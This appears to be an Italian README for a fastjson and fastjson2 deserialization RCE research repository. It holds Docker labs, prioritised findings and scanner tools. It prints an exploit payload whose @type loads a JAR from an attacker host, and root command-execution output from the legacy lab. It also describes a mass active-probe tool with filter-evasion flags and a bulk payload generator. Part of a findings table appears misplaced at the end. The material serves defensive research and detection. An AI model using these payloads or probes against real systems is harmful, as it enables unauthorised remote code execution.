Laboratori Docker + scanner difensivo per la RCE remote-class-load di fastjson. fastjson 1.2.66-1.2.83: sonda di risorse @JSONType (CVE-2026-16723). fastjson2 2.0.57: l'@type dell'attaccante raggiunge loadClass con autoType DISABLED tramite tipi polimorfici (@JSONType(seeAlso) / Jackson @JsonSubTypes). Payload con soli marcatori; controlli safeMode + JDK17.
@JSONType remote-JAR/FD-chain di FastjsonQuesto repository conserva ora due distinte linee di ricerca su Fastjson:
modern-fd/ è la ricostruzione consigliata, solo-marker, della
catena remote-JAR/file-descriptor in un singolo corpo di richiesta di Fastjson
1.2.83 su Spring Boot 3, Tomcat embedded standard e JDK 17. Usa il sink letterale
con DTO fisso JSON.parseObject(body, BoundEnvelope.class) con AutoType disabilitato.scanner/ contiene rilevamento passivo di richieste/log, inventario
statico degli artefatti e una sonda di raggiungibilità non eseguente.Il bug:
ParserConfig.checkAutoTypesonda ogni valore alla ricerca dell'annotazione eseguendo . Sulle combinazioni Linux/JDK moderne, una sonda remota può lasciare il JAR memorizzato nella cache dietro un descrittore aperto; successive sonde nello stesso corpo possono riaprirlo con nomi di classe validi e inizializzare una classe annotata. La composizione esatta di 1.2.83 funziona con e attraverso un DTO fisso contenente . Il solo binding non è quindi una mitigazione. Analisi completa: .
@type@JSONTypegetResourceAsStream(typeName.replace('.','/') + ".class")jar:httpjar:file:/proc/self/fd/NList<Object>La review completa dell'intero progetto ha coperto 2.041 righe tra callable e static-initializer in tutti i 193 file Java di produzione di Fastjson 1.2.83. La tabella sottostante dà priorità ai risultati a maggiore impatto; non è un'affermazione che ogni deployment di Fastjson sia vulnerabile. Questo repository riproduce direttamente F105. Le voci rimanenti riassumono una review separata del sorgente sigillato e prove di laboratorio limitate.
| Priorità | Rilevamento | Risultato provato | Confine importante |
|---|---|---|---|
| 1 | F105 — esecuzione di bytecode @JSONType remoto | Inizializzazione di classi fornite dall'attaccante attraverso loader Spring Boot compatibili, inclusa la rotta diretta JDK 8 e la continuazione /proc/self/fd/N con JAR trattenuto su Linux/JDK 17 | Richiede un veicolo @type raggiungibile dal parser, un loader Boot/TCCL compatibile, egress, SafeMode/IgnoreAutoType disattivati e un JAR esatto dell'attaccante. La rotta moderna con DTO fisso richiede inoltre una corsia di valori generici (il lab usa List<Object>), procfs Linux, un descrittore trattenuto e l'allineamento esatto dei nomi; non è universale su ogni JDK, loader o OS |
| 2 | F1/F45 — esecuzione comandi TemplatesImpl | Esecuzione di comandi marker attraverso l'API con DTO fisso, inclusa una proprietà del corpo ignorata | Richiede una politica server indebolita: ammissione delle classi, AutoType e popolamento di campi privati o percorsi equivalenti; le impostazioni predefinite inviolate la bloccano |
| 3 | F70/C016 — buffering illimitato ed espansione GZIP | I percorsi byte/InputStream tipizzati e DTO annotati espandono o bufferizzano senza limite di output; riprodotto OOME Java con heap vincolata | Richiedono raggiungibilità dell'endpoint/schema e dei byte dell'attaccante; un'interruzione a livello di produzione non è stata stabilita |
| 4 | F18/C089 — esaurimento dello stack del thread del parser | Valori oggetto ordinari annidati profondamente possono produrre StackOverflowError con parsing predefinito | Impatto sulla disponibilità del thread di richiesta; non un crash invariante della JVM o a livello di servizio |
| 5 | F120/C162 — SSRF HTTP con schema fisso/caricamento risorse locali | JEditorPane/JTextPane.page controllato dal corpo esegue richieste HTTP e può caricare contenuto file: limitato nello stato del Document | Richiede che l'applicazione dichiari il tipo Swing; nessuna esfiltrazione automatica della risposta o RCE provata |
| 6 | F118/C160 — fallimento autorizzazione/integrità dati per collisione di hash | Una distinta collisione Unicode FNV-1a-64 può legarsi a una costante enum privilegiata o instradare la mutazione JSONPath verso il setter sbagliato del bean |
Vedi findings/FINDINGS.md per etichette di validazione,
prerequisiti, risultati di livello inferiore, priorità di remediation e confini negativi
espliciti.
Questo repository è per istruzione, ricerca difensiva e test autorizzati di sistemi
che possiedi o per cui hai esplicito permesso di test. La pubblicazione dell'host, quando
supportata per la rete interna del lab moderno, è richiesta solo su 127.0.0.1; i suoi
script eseguono il test interamente all'interno di quella rete isolata. Il lab moderno non
ha alcuna primitiva di esecuzione di processi e imposta solo un marker fisso in-JVM.
Il lab legacy JDK 8 esegue effettivamente id e scrive il suo output in /tmp/PWNED;
mantienilo isolato. Non puntare l'exploit legacy o la sonda attiva verso sistemi non autorizzati.
La directory scanner/ include quattro strumenti Python 3 senza dipendenze
(nessuna installazione pip).
fjdetect.py — ispezione passiva di corpi di richiesta JSON decodificati o
log JSON strutturati per semi remote-JAR e sequenze /proc/self/fd o /dev/fd.fjscan_static.py — inventario di jar/war/ear per la combinazione vulnerabile
(contenuto verificato, 1.2.83 verificato sui metadati × contenuto effettivo delle classi
del loader Spring Boot). Le release 1.2.48–1.2.82 con sonda e i candidati solo-metadati/nome-file
vengono riportate separatamente per la review. Adatto a CI-gate (exit 2 su EXPOSED).fjscan_probe.py — controllo di raggiungibilità attivo e sicuro: invia il @type a un canary
che controlli tu (listener integrato oppure Burp Collaborator / interactsh) e correla il
callback di fetch della risorsa. Il suo listener integrato restituisce un 404 vuoto; configura
i listener esterni in modo equivalente. Un callback non prova il caricamento di classi o la RCE.fjpayload.py — genera corpi di fetch di risorse remote per test manuali;
usa solo un listener vuoto/404 quando l'esecuzione non è prevista.# 1) ispezione passiva richieste/log
python3 scanner/fjdetect.py --ndjson gateway.jsonl
# 2) inventario artefatti di build / immagini estratte (parallelo)
python3 scanner/fjscan_static.py /path/to/artifacts --threads 16
# 3) sonda attiva su molti domini — il più semplice: --auto invia confronto baseline + plain + escaped
# sonde DNS per target e stampa un riepilogo; i callback DNS arrivano nel tuo Burp Collaborator
python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets domains.txt --threads 50
cat domains.txt | python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets -
# 4) payload di fetch in blocco per test manuali (uno per dominio, token di correlazione stabile)
python3 scanner/fjpayload.py <collab-or-ip> --targets-file domains.txt
domains.txt = un target per riga — un [METHOD ]URL completo oppure un dominio nudo
(espanso con --scheme / --target-port / --path); commenti # ammessi:
api.internal.example
POST https://svc.example/v1/ingest
10.0.0.7:8080
fjscan_probe.py (sonda attiva)
| Flag | Default | Scopo |
|---|---|---|
--auto | off | il più semplice — per target invia sonda DNS comparativa baseline + plain + Unicode-escaped, stampa un riepilogo; richiede solo --collaborator + --targets |
--canary-ip <ip> | — | modalità listener integrato; IP di questo host come lo vedono i target |
--collaborator <v> | — | OOB esterno (IPv4 / int / host senza punti / sottodominio Collaborator) |
--probe-type <t> | jsontype | modalità manuale: jsontype = percorso di fetch risorsa remota (jar:http int-IP); dns = OOB Inet4Address tramite host con punti (compatibile Collaborator); both |
--targets <file|-> | — | lista target non vuota; - legge da stdin (richiesto); input vuoto/solo commenti esce con codice diverso da zero |
--threads N | 20 | worker di richieste concorrenti |
--header 'K: V' | — | header di richiesta extra (ripetibile); un --user-agent simile a browser viene inviato di default per una richiesta frontend rappresentativa |
--baseline '{"a":1}' | — | invia anche un corpo di controllo benigno per target; un differenziale di risposta baseline/sonda è coerente con gestione sensibile al contenuto di edge, middleware o applicazione e richiede corroborazione |
--max-redirects N | 3 | segui fino a N redirect con origine esatta o upgrade standard same-host HTTP:80→HTTPS:443 (0 = nessuno); downgrade HTTPS, cambi di porta/origine arbitrari e redirect cross-host sono bloccati; gli upgrade conservano solo header base non segreti |
--evasion {ukey,uval,both} | none | escape \uXXXX della chiave @type / del valore della classe (fastjson lo decodifica comunque); un callback di sola evasione è coerente con dati di sonda decodificati che superano un filtro letterale di keyword, ma richiede comunque corroborazione di parser/versione |
fjscan_static.py (inventario): <paths…> · --threads N (default 8) · --json
(output macchina; codice di uscita 2 se qualsiasi EXPOSED).
fjpayload.py (generatore): <collaborator> · --targets-file/-f <file\|-> (in blocco) ·
--port · --token · --wrap · --entry.
Nota su Collaborator: il sink
jar:di@JSONTypeeseguetypeName.replace('.','/'), quindi ogni punto nell'host diventa una barra — un sottodominio Burp Collaborator con punti (abc.oastify.com) non può essere consegnato attraverso di esso (gli strumenti ripiegano su un IP intero + token nel percorso URL). Per ottenere un callback in un Collaborator pubblico, usa--probe-type dns: la primitivajava.net.Inet4Addressaccetta un host con punti e attiva un'interazione DNS (<tok>.<sub>.oastify.com), confermando la primitiva di parseInet4Address+ egress. Questa è evidenza prerequisita, non prova del terminale remote-JAR/FD. Vediscanner/README.md.
Requisiti: Docker + Docker Compose e accesso in uscita a Maven Central al primo build (per scaricare fastjson / spring-boot-loader / asm).
cd modern-fd
./scripts/static-safety-check.sh
./scripts/run-positive.sh
./scripts/run-controls.sh
Il caso positivo invia un corpo a un normale thread di richiesta embedded-Tomcat. Il suo
sink letterale è final BoundEnvelope parsed = JSON.parseObject(body, BoundEnvelope.class). Il successo è solo la proprietà fissa e il token di log
FASTJSON_MODERN_FD_MARKER=fastjson-modern-fd-marker-v1; la risposta restituisce comunque
un BoundEnvelope normalmente bindato. La directory delle evidenze contiene la
richiesta, la risposta, i metadati del container, i log e il manifest SHA-256.
I controlli coprono JSON ordinario, candidati FD senza seed, un seed seguito da
descrittori impossibili e SafeMode. Vedi modern-fd/README.md.
La divulgazione FearsOff mostra lo stesso terminale con JAR trattenuto su JDK 21 usando una cache persistente di processo e un candidato FD per richiesta. Il lab moderno di questo repository riproduce invece una composizione JDK 17 a corpo singolo: il seed failure-soft e i candidati FD limitati sono trasportati da una singola richiesta con DTO fisso. JDK 21 resta riportato esternamente; non è un risultato runtime prodotto qui.
Il progetto Compose originale di primo livello resta disponibile per riprodurre la
più vecchia rotta a uno stadio. A differenza di modern-fd/, è in grado di eseguire comandi
e va eseguito solo nel lab isolato:
make up
make exploit
make down
Output atteso di make exploit:
[*] payload : {"@type":"jar:http:..attacker:8000.probe!.POC","x":1}
[*] response: {"ok":false,"error":"ClassCastException"} <- RCE già scattata, POI il cast
[*] PROOF — output del comando catturato dentro il container TARGET (/tmp/PWNED):
------------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root)
RCE_via_fastjson_JSONType
------------------------------------------------------------------
La ClassCastException è l'indizio che il binding non è una mitigazione: la classe dell'attaccante
esegue il suo <clinit> durante la sonda @type, prima che fastjson provi a castarla a Dto.
target/Dockerfile a JDK 17 blocca questa
definizione legacy con nome costruito e lascia un fetch. Quel risultato non testa
né mitiga la separata continuazione /proc/self/fd in modern-fd/.setAutoTypeSupport(true) — controlla il
banner su http://127.0.0.1:8080/.PWN_CMD='touch /tmp/i_was_here' docker compose up -d --build attacker.| Percorso | Contenuto |
|---|---|
modern-fd/ | lab solo-marker della FD-chain Boot 3/JDK 17 con DTO fisso e controlli decisivi |
scanner/ | rilevamento passivo di payload/log, inventario statico e strumenti di raggiungibilità non eseguenti |
target/ | target legacy JDK 8 che usa JSON.parseObject(body, Dto.class) con un loader Boot selezionato manualmente |
attacker/ | generatore legacy di classi JDK 8 in grado di eseguire comandi e server JAR |
exploit/ | prova legacy exploit.sh |
docs/MECHANISM.md | analisi annotata del sorgente |
findings/FINDINGS.md | risultati prioritizzati sull'intero progetto, prerequisiti e confini di remediation |
Abilita -Dfastjson.parser.safeMode=true sul percorso ordinario senza handler oppure
usa la build com.alibaba:fastjson:1.2.83_noneautotype del vendor quando la migrazione
immediata non è possibile, e verifica gli AutoTypeCheckHandler installati. Limita
l'egress della JVM; migra il parsing non fidato lontano da Fastjson 1.x; genera alert sui
semi @type remote-JAR decodificati e sui candidati /proc/self/fd o /dev/fd sia
all'interno di una singola richiesta sia correlati tra richieste. Il binding del DTO e JDK 9+
non sono mitigazioni complete per la composizione moderna.
fastjson2/ è un secondo lab indipendente. fastjson2 non contiene
la sonda risorse @JSONType di fastjson 1.x. Tuttavia, consente a un @type controllato dall'attaccante
di raggiungere ClassLoader.loadClass() con autoType disabilitato, quando il percorso di parse coinvolge un
tipo polimorfico — perché il costruttore di ObjectReaderSeeAlso hardcoda SupportAutoType, e un
mancato seeAlso ricade nella risoluzione autoType completa prima dei controlli di assegnabilità e
DataSource/RowSet.
I trigger sono normali annotazioni di modellazione — @JSONType(seeAlso=), @JsonSubTypes di Jackson
(onorata perché useJacksonAnnotation è true di default), @JsonTypeInfo,
tipi sealed. Sotto un fat jar Spring Boot il classloader di contesto risolve i nomi jar:http:, quindi
la classe viene recuperata dalla rete e il suo inizializzatore statico viene eseguito.
Riprodotto su fastjson2 2.0.62 (ultima release) e 2.0.57, su JDK 8. safeMode=true
lo blocca; JDK 17 lo declassa a SSRF; autoTypeFilter(...) non protegge. Divulgato da Chaitin (长亭), ~2026-07-25 — non un risultato di questo repository. Il maintainer
ha lavoro di hardening aperto in
PR #7703 (che sostituisce la chiusa
#7695) che rifiuta : e ! nei nomi
di tipo; nessuna release pubblicata lo contiene — 2.0.62 è precedente a entrambe.
make fj2-safety # prova che il payload è solo-marker
make fj2-positive # configurazione predefinita -> classe remota definita + inizializzata
make fj2-controls # parse semplice / safeMode / JDK 17 / modello solo-Jackson / allowlist
/proc/self/fd su JDK moderno ricostruiti qui.@JSONType / nome interno jar-URL:
@wouijvziqy — https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC.
attacker/Gen.java re-implementa quella tecnica per questo lab./proc/self/fd. Sono stati trattati come report esterni,
non come prova runtime indipendente.modern-fd/ usa classi solo-marker
scritte in modo indipendente e un endpoint Tomcat normale con DTO fisso.fastjson2/ è una
riproduzione indipendente di quella divulgazione, non un risultato originale di questo repository.
Thread di tracciamento: issue #7702 (aperto da un
utente, sevck); hardening del maintainer in
PR #7703 / chiusa
#7695.safeMode, e la storia
di autoType dietro CVE-2022-25845).Questo lab e gli strumenti in scanner/ impacchettano questi risultati in un testbed
riproducibile e controlli difensivi. Non affiliato ai ricercatori sopra citati e non
approvato da loro.
| Richiede una collisione utilizzabile e fiducia a valle o un'operazione di mutazione JSONPath esposta; nessuna ammissione di classi o RCE |
| 7 | F121/C163 — raggiungibilità JNDI fissa di JdbcRowSet | L'ordine esatto dei setter ha causato una connessione JNDI/LDAP in uscita selezionata dal corpo | Le prove si fermano a una connessione: nessuna risposta di naming, object factory, caricamento bytecode o RCE |
| 8 | F2/F45 — risoluzione DNS predefinita | La risoluzione di hostname controllata dall'attaccante funziona con configurazione predefinita e attraverso una proprietà ignorata del DTO fisso | Solo interazione DNS/OOB, non SSRF HTTP generico o RCE |
--scheme / --target-port / --path | http / — / /parse | come vengono espansi i domini nudi |
--method | POST | metodo HTTP predefinito |
--wrap '{"u":{{P}}}' | {{P}} | annida l'oggetto sonda dentro un campo |
--listen-port / --port | 19000 / 80 | porta canary integrata / porta collaborator |
--wait / --timeout | 10 / 8 | secondi di attesa per i callback / timeout per richiesta |